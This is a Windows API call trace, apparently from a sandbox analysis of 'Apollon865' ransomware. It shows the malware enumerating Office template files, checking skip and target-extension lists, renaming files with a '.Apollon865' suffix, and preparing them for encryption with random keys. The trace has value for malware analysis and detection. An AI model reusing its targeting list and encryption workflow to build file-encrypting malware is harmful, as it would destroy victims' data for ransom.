	[0064.140] lstrlenW (lpString="avhd") returned 4
	[0064.140] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0064.140] lstrlenW (lpString="db") returned 2
	[0064.140] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0064.140] lstrlenW (lpString="db2") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0064.140] lstrlenW (lpString="db3") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0064.140] lstrlenW (lpString="dbf") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0064.140] lstrlenW (lpString="mdf") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0064.140] lstrlenW (lpString="mdb") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0064.140] lstrlenW (lpString="sql") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0064.140] lstrlenW (lpString="sqlite") returned 6
	[0064.140] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0064.140] lstrlenW (lpString="sqlite3") returned 7
	[0064.140] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0064.140] lstrlenW (lpString="sqlitedb") returned 8
	[0064.140] lstrcmpiW (lpString1="ts.accdt", lpString2="sqlitedb") returned 1
	[0064.140] lstrlenW (lpString="xml") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0064.141] lstrlenW (lpString="$er") returned 3
	[0064.141] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0064.141] lstrlenW (lpString="4dd") returned 3
	[0064.141] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0064.141] lstrlenW (lpString="4dl") returned 3
	[0064.141] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0064.141] lstrlenW (lpString="^^^") returned 3
	[0064.141] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0064.141] lstrlenW (lpString="abs") returned 3
	[0064.141] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0064.141] lstrlenW (lpString="abx") returned 3
	[0064.141] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0064.141] lstrlenW (lpString="accdb") returned 5
	[0064.141] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0064.141] lstrlenW (lpString="accdc") returned 5
	[0064.141] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0064.141] lstrlenW (lpString="accde") returned 5
	[0064.141] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0064.141] lstrlenW (lpString="accdr") returned 5
	[0064.141] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0064.141] lstrlenW (lpString="accdt") returned 5
	[0064.141] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0064.141] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt.Apollon865") returned 91
	[0064.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt.apollon865"), dwFlags=0x1) returned 1
	[0064.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0064.143] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1107436) returned 1
	[0064.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0064.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0064.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0064.143] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0064.144] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0064.144] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.144] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e8f0, lpName=0x0) returned 0x118
	[0064.146] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e8f0) returned 0x3820000
	[0064.194] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0064.194] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0064.194] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0064.196] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.196] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0064.196] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.196] UnmapViewOfFile (lpBaseAddress=0x3820000) returned 1
	[0064.205] CloseHandle (hObject=0x118) returned 1
	[0064.205] CloseHandle (hObject=0x14c) returned 1
	[0064.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0064.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0064.210] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0x1f5a52, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Northwind.accdt", cAlternateFileName="NORTHW~1.ACC")) returned 1
	[0064.210] lstrcmpiW (lpString1="Northwind.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.210] lstrcmpiW (lpString1="Northwind.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0064.210] lstrcmpiW (lpString1="Northwind.accdt", lpString2=".") returned 1
	[0064.210] lstrcmpiW (lpString1="Northwind.accdt", lpString2="..") returned 1
	[0064.210] lstrcmpiW (lpString1="Northwind.accdt", lpString2="windows") returned -1
	[0064.210] lstrcmpiW (lpString1="Northwind.accdt", lpString2="bootmgr") returned 1
	[0064.210] lstrcmpiW (lpString1="Northwind.accdt", lpString2="temp") returned -1
	[0064.210] lstrcmpiW (lpString1="Northwind.accdt", lpString2="pagefile.sys") returned -1
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2="boot") returned 1
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2="ids.txt") returned 1
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2="ntuser.dat") returned -1
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2="perflogs") returned -1
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2="MSBuild") returned 1
	[0064.211] lstrlenW (lpString="Northwind.accdt") returned 15
	[0064.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt") returned 80
	[0064.211] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Northwind.accdt" | out: lpString1="Northwind.accdt") returned="Northwind.accdt"
	[0064.211] lstrlenW (lpString="Northwind.accdt") returned 15
	[0064.211] lstrlenW (lpString="Apollon865") returned 10
	[0064.211] lstrcmpiW (lpString1="wind.accdt", lpString2="Apollon865") returned 1
	[0064.211] lstrlenW (lpString=".dll") returned 4
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2=".dll") returned 1
	[0064.211] lstrlenW (lpString=".lnk") returned 4
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2=".lnk") returned 1
	[0064.211] lstrlenW (lpString=".ini") returned 4
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2=".ini") returned 1
	[0064.211] lstrlenW (lpString=".sys") returned 4
	[0064.211] lstrcmpiW (lpString1="Northwind.accdt", lpString2=".sys") returned 1
	[0064.211] lstrlenW (lpString="Northwind.accdt") returned 15
	[0064.211] lstrlenW (lpString="bak") returned 3
	[0064.211] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0064.211] lstrlenW (lpString="ba_") returned 3
	[0064.211] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0064.211] lstrlenW (lpString="dbb") returned 3
	[0064.211] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0064.211] lstrlenW (lpString="vmdk") returned 4
	[0064.211] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0064.211] lstrlenW (lpString="rar") returned 3
	[0064.211] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0064.211] lstrlenW (lpString="zip") returned 3
	[0064.211] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0064.211] lstrlenW (lpString="tgz") returned 3
	[0064.211] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0064.212] lstrlenW (lpString="vbox") returned 4
	[0064.212] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0064.212] lstrlenW (lpString="vdi") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0064.212] lstrlenW (lpString="vhd") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0064.212] lstrlenW (lpString="vhdx") returned 4
	[0064.212] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0064.212] lstrlenW (lpString="avhd") returned 4
	[0064.212] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0064.212] lstrlenW (lpString="db") returned 2
	[0064.212] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0064.212] lstrlenW (lpString="db2") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0064.212] lstrlenW (lpString="db3") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0064.212] lstrlenW (lpString="dbf") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0064.212] lstrlenW (lpString="mdf") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0064.212] lstrlenW (lpString="mdb") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0064.212] lstrlenW (lpString="sql") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0064.212] lstrlenW (lpString="sqlite") returned 6
	[0064.212] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0064.212] lstrlenW (lpString="sqlite3") returned 7
	[0064.212] lstrcmpiW (lpString1="d.accdt", lpString2="sqlite3") returned -1
	[0064.212] lstrlenW (lpString="sqlitedb") returned 8
	[0064.212] lstrcmpiW (lpString1="nd.accdt", lpString2="sqlitedb") returned -1
	[0064.212] lstrlenW (lpString="xml") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0064.212] lstrlenW (lpString="$er") returned 3
	[0064.212] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0064.213] lstrlenW (lpString="4dd") returned 3
	[0064.213] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0064.213] lstrlenW (lpString="4dl") returned 3
	[0064.213] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0064.213] lstrlenW (lpString="^^^") returned 3
	[0064.213] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0064.213] lstrlenW (lpString="abs") returned 3
	[0064.213] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0064.213] lstrlenW (lpString="abx") returned 3
	[0064.213] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0064.213] lstrlenW (lpString="accdb") returned 5
	[0064.213] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0064.213] lstrlenW (lpString="accdc") returned 5
	[0064.213] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0064.213] lstrlenW (lpString="accde") returned 5
	[0064.213] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0064.213] lstrlenW (lpString="accdr") returned 5
	[0064.213] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0064.213] lstrlenW (lpString="accdt") returned 5
	[0064.213] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0064.213] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.Apollon865") returned 82
	[0064.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt.apollon865"), dwFlags=0x1) returned 1
	[0064.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0064.214] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2054738) returned 1
	[0064.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0064.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0064.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0064.215] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0064.215] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0064.215] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.215] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f5d60, lpName=0x0) returned 0x118
	[0064.217] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f5d60) returned 0x3820000
	[0064.327] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0064.328] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0064.328] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0064.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0064.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.329] UnmapViewOfFile (lpBaseAddress=0x3820000) returned 1
	[0064.348] CloseHandle (hObject=0x118) returned 1
	[0064.348] CloseHandle (hObject=0x14c) returned 1
	[0064.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0064.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0064.369] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1
	[0064.370] lstrcmpiW (lpString1="Part", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.371] lstrcmpiW (lpString1="Part", lpString2="Apollon865.txt.exe") returned 1
	[0064.372] lstrcmpiW (lpString1="Part", lpString2=".") returned 1
	[0064.373] lstrcmpiW (lpString1="Part", lpString2="..") returned 1
	[0064.374] lstrcmpiW (lpString1="Part", lpString2="windows") returned -1
	[0064.374] lstrcmpiW (lpString1="Part", lpString2="bootmgr") returned 1
	[0064.382] lstrcmpiW (lpString1="Part", lpString2="temp") returned -1
	[0064.382] lstrcmpiW (lpString1="Part", lpString2="pagefile.sys") returned 1
	[0064.382] lstrcmpiW (lpString1="Part", lpString2="boot") returned 1
	[0064.382] lstrcmpiW (lpString1="Part", lpString2="ids.txt") returned 1
	[0064.382] lstrcmpiW (lpString1="Part", lpString2="ntuser.dat") returned 1
	[0064.382] lstrcmpiW (lpString1="Part", lpString2="perflogs") returned -1
	[0064.382] lstrcmpiW (lpString1="Part", lpString2="MSBuild") returned 1
	[0064.382] lstrlenW (lpString="Part") returned 4
	[0064.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt") returned 71
	[0064.382] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Part" | out: lpString1="Part") returned="Part"
	[0064.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0064.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf5f0
	[0064.382] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
	[0064.382] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1
	[0064.382] lstrcmpiW (lpString1="Projects.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.382] lstrcmpiW (lpString1="Projects.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0064.382] lstrcmpiW (lpString1="Projects.accdt", lpString2=".") returned 1
	[0064.382] lstrcmpiW (lpString1="Projects.accdt", lpString2="..") returned 1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="windows") returned -1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="bootmgr") returned 1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="temp") returned -1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="pagefile.sys") returned 1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="boot") returned 1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="ids.txt") returned 1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="ntuser.dat") returned 1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="perflogs") returned 1
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2="MSBuild") returned 1
	[0064.383] lstrlenW (lpString="Projects.accdt") returned 14
	[0064.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned 60
	[0064.383] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Projects.accdt" | out: lpString1="Projects.accdt") returned="Projects.accdt"
	[0064.383] lstrlenW (lpString="Projects.accdt") returned 14
	[0064.383] lstrlenW (lpString="Apollon865") returned 10
	[0064.383] lstrcmpiW (lpString1="ects.accdt", lpString2="Apollon865") returned 1
	[0064.383] lstrlenW (lpString=".dll") returned 4
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2=".dll") returned 1
	[0064.383] lstrlenW (lpString=".lnk") returned 4
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2=".lnk") returned 1
	[0064.383] lstrlenW (lpString=".ini") returned 4
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2=".ini") returned 1
	[0064.383] lstrlenW (lpString=".sys") returned 4
	[0064.383] lstrcmpiW (lpString1="Projects.accdt", lpString2=".sys") returned 1
	[0064.383] lstrlenW (lpString="Projects.accdt") returned 14
	[0064.383] lstrlenW (lpString="bak") returned 3
	[0064.383] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0064.383] lstrlenW (lpString="ba_") returned 3
	[0064.383] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0064.383] lstrlenW (lpString="dbb") returned 3
	[0064.383] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0064.383] lstrlenW (lpString="vmdk") returned 4
	[0064.383] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0064.383] lstrlenW (lpString="rar") returned 3
	[0064.383] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0064.384] lstrlenW (lpString="zip") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0064.384] lstrlenW (lpString="tgz") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0064.384] lstrlenW (lpString="vbox") returned 4
	[0064.384] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0064.384] lstrlenW (lpString="vdi") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0064.384] lstrlenW (lpString="vhd") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0064.384] lstrlenW (lpString="vhdx") returned 4
	[0064.384] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0064.384] lstrlenW (lpString="avhd") returned 4
	[0064.384] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0064.384] lstrlenW (lpString="db") returned 2
	[0064.384] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0064.384] lstrlenW (lpString="db2") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0064.384] lstrlenW (lpString="db3") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0064.384] lstrlenW (lpString="dbf") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0064.384] lstrlenW (lpString="mdf") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0064.384] lstrlenW (lpString="mdb") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0064.384] lstrlenW (lpString="sql") returned 3
	[0064.384] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0064.384] lstrlenW (lpString="sqlite") returned 6
	[0064.384] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0064.384] lstrlenW (lpString="sqlite3") returned 7
	[0064.384] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0064.384] lstrlenW (lpString="sqlitedb") returned 8
	[0064.385] lstrcmpiW (lpString1="ts.accdt", lpString2="sqlitedb") returned 1
	[0064.385] lstrlenW (lpString="xml") returned 3
	[0064.385] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0064.385] lstrlenW (lpString="$er") returned 3
	[0064.385] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0064.385] lstrlenW (lpString="4dd") returned 3
	[0064.385] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0064.385] lstrlenW (lpString="4dl") returned 3
	[0064.385] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0064.385] lstrlenW (lpString="^^^") returned 3
	[0064.385] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0064.385] lstrlenW (lpString="abs") returned 3
	[0064.385] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0064.385] lstrlenW (lpString="abx") returned 3
	[0064.385] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0064.385] lstrlenW (lpString="accdb") returned 5
	[0064.385] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0064.385] lstrlenW (lpString="accdc") returned 5
	[0064.385] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0064.385] lstrlenW (lpString="accde") returned 5
	[0064.385] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0064.385] lstrlenW (lpString="accdr") returned 5
	[0064.385] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0064.385] lstrlenW (lpString="accdt") returned 5
	[0064.385] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
